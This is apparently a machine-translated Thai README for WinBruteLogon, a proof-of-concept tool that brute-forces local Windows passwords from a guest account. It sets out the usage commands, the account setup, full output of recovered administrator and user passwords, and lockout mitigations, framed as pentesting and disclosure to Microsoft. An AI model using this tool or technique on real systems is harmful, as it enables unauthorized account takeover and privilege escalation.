ข้อสังเกต 1: เรารู้สึกตื่นเต้นที่จะประกาศว่าเครื่องมือปัจจุบันของเราถูกส่งไปยังเวอร์ชัน PowerShell ซึ่งหมายความว่าตอนนี้ผู้ใช้สามารถเข้าถึงและใช้เครื่องมือโดยตรงจากบรรทัดคำสั่ง PowerShell ทำให้สะดวกยิ่งขึ้นและมีประสิทธิภาพในการใช้งาน เราเชื่อว่าเวอร์ชันใหม่นี้จะเป็นประโยชน์ต่อผู้ใช้ของเราอย่างมากและปรับปรุงประสบการณ์ของพวกเขาด้วยเครื่องมือ ขอบคุณสำหรับการสนับสนุนอย่างต่อเนื่องและเราหวังว่าคุณจะเพลิดเพลินไปกับเวอร์ชัน PowerShell ใหม่: https://github.com/darkcodersc/power-proute-logon
ข้อสังเกต 2: เราได้เรียนรู้เมื่อเร็ว ๆ นี้ว่า Microsoft ได้เปิดใช้งานนโยบายการล็อคบัญชีโดยค่าเริ่มต้นใน Windows รุ่นทันสมัยและทันสมัย นโยบายนี้ช่วยรักษาความปลอดภัยของระบบโดยล็อคบัญชีหลังจากพยายามเข้าสู่ระบบที่ล้มเหลวจำนวนหนึ่ง แม้ว่านี่จะเป็นมาตรการความปลอดภัยที่เป็นประโยชน์ แต่ก็ทำให้การพิสูจน์แนวคิด (POC) ไม่มีประสิทธิภาพในระบบเหล่านี้
วันที่วางจำหน่าย: 2020-05-14
เป้าหมาย: Windows XP ถึง Windows 10 รุ่นล่าสุด (1909)
จุดอ่อนตำแหน่ง: LogonUserA , LogonUserW , CreateProcessWithLogonA , CreateProcessWithLogonW
WinBruteLogon.exe -u <username> -w <wordlist_file>
type <wordlist_file> | WinBruteLogon.exe -u <username> -
Win Brute Logon ได้รับการออกแบบมาเพื่อจำลองการโจมตีแบบเดรัจฉานในบัญชี Microsoft โดยการคาดเดาการรวมรหัสผ่านจำนวนมากในระยะเวลาอันสั้น สิ่งนี้ช่วยให้ pentesters ทดสอบท่าทางความปลอดภัยของระบบของพวกเขาและประเมินการป้องกันของพวกเขาจากการโจมตีที่ดุร้าย เครื่องมือใช้ประโยชน์จากการขาดกลไกการล็อคบัญชีซึ่งเป็นจุดอ่อนทั่วไปในหลาย ๆ ระบบ (ก่อนที่จะเปิดใช้งานการล็อคบัญชีโดยค่าเริ่มต้นบน Windows 11) โดยพยายามคาดเดารหัสผ่านของบัญชีเครื่องมือสามารถช่วย pentesters ระบุและระบุช่องโหว่ในมาตรการรักษาความปลอดภัยของพวกเขา ควรใช้อย่างรับผิดชอบและภายในขอบเขตของกฎหมาย
สำหรับการสาธิตนี้เราจะตั้งค่า Windows 10 เวอร์ชันใหม่บนเครื่องเสมือนหรือทางกายภาพ เมื่อตั้งค่าเครื่องแล้วให้เข้าสู่ระบบในฐานะผู้ดูแลระบบ จากนั้นสร้างบัญชีท้องถิ่นที่แตกต่างกันสองบัญชี: บัญชีผู้ดูแลระบบหนึ่งบัญชีและบัญชีผู้ใช้ทั่วไปหนึ่งบัญชี โปรดทราบว่าแม้ว่าเราจะใช้บัญชีแขกสำหรับการสาธิต แต่การพิสูจน์แนวคิด (POC) นี้ไม่ได้ จำกัด อยู่ที่บัญชีแขก สามารถใช้งานได้จากบัญชีหรือกลุ่มใด ๆ รวมถึงแขกผู้ใช้ทั่วไปและผู้ใช้งานผู้ดูแลระบบ
net user darkcodersc /add
net user darkcodersc trousers (กางเกงคือรหัสผ่าน)
net localgroup administrators darkcodersc /add
net user HackMe /add
net user HackMe ozlq6qwm (OZLQ6QWM เป็นรหัสผ่าน)
net user GuestUser /add
net localgroup users GuestUser /delete
net localgroup guests GuestUser /add
ในกรณีของฉันทั้ง trousers และ ozlq6qwm อยู่ใน seclist: https://github.com/danielmiessler/seclists/blob/master/passwords/common-credentials/10k-most-common.txt
ในการเริ่มต้นการสาธิตให้ออกจากบัญชีจากบัญชีผู้ดูแลระบบหรือรีสตาร์ทเครื่องและเข้าสู่บัญชีแขก จากนั้นวาง POC ปฏิบัติการในสถานที่ที่คุณสามารถเข้าถึงเป็นผู้ใช้แขกได้
การใช้งาน: WinBruteLogon.exe -v -u <username> -w <wordlist_file>
-v เป็นตัวเลือกมันออกแบบโหมด verbose
โดยค่าเริ่มต้นชื่อโดเมนคือค่าที่กำหนดโดย %USERDOMAIN% env var คุณสามารถระบุชื่อที่กำหนดเองพร้อมตัวเลือก -d
darkcodersc (Administrator) พรอมต์ (แขก)> WinBruteLogon.exe -v -u darkcodersc -w 10k-most-common.txt
รอสองสามวินาทีเพื่อดูผลลัพธ์ต่อไปนี้:
[ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=2260, handle=364
[INFO] New "TWorker" Thread created with id=3712, handle=532
[DONE] Done.
[ OK ] Password for username=[darkcodersc] and domain=[DESKTOP-0885FP1] found = [trousers]
[ .. ] Finalize and close worker threads...
[INFO] "TWorkers"(id=2260, handle=364) Thread successfully terminated.
[INFO] "TWorkers"(id=3712, handle=532) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06
HackMe (ผู้ใช้ทั่วไป) พรอมต์ (แขก)> WinBruteLogon.exe -v -u HackMe -w 10k-most-common.txt
รอสองสามวินาทีเพื่อดูผลลัพธ์ต่อไปนี้:
[ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=5748, handle=336
[INFO] New "TWorker" Thread created with id=4948, handle=140
[DONE] Done.
[ OK ] Password for username=[HackMe] and domain=[DESKTOP-0885FP1] found = [ozlq6qwm]
[ .. ] Finalize and close worker threads...
[INFO] "TWorkers"(id=5748, handle=336) Thread successfully terminated.
[INFO] "TWorkers"(id=4948, handle=140) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06
"ในสถานการณ์จริงหากผู้โจมตีสามารถเข้าถึงบัญชีผู้ใช้ที่มีอำนาจต่ำพวกเขาอาจจะสามารถถอดรหัสรหัสผ่านของผู้ใช้ที่ได้รับการยกเว้นมากขึ้นและเพิ่มสิทธิ์ในการลดความเสี่ยงนี้
หากต้องการใช้นโยบายการล็อคความปลอดภัย (ซึ่งไม่ได้เปิดใช้งานโดยค่าเริ่มต้น) ให้ทำตามขั้นตอนเหล่านี้:
โปรดทราบว่านโยบายการล็อคไม่ได้ใช้กับบัญชีผู้ดูแลระบบ ในกรณีนี้การป้องกันที่ดีที่สุดสำหรับบัญชีผู้ดูแลระบบ (หากเปิดใช้งาน) คือการตั้งค่ารหัสผ่านที่ซับซ้อนมาก
รายงานรายละเอียดความอ่อนแอนี้ถูกส่งไปยังทีมรักษาความปลอดภัยของ Microsoft พวกเขาควรพิจารณาเปิดใช้งานนโยบายการล็อคบัญชีโดยค่าเริ่มต้น "
(อัปเดต 2022): การล็อคบัญชีที่เปิดใช้งาน ในที่สุด โดยค่าเริ่มต้น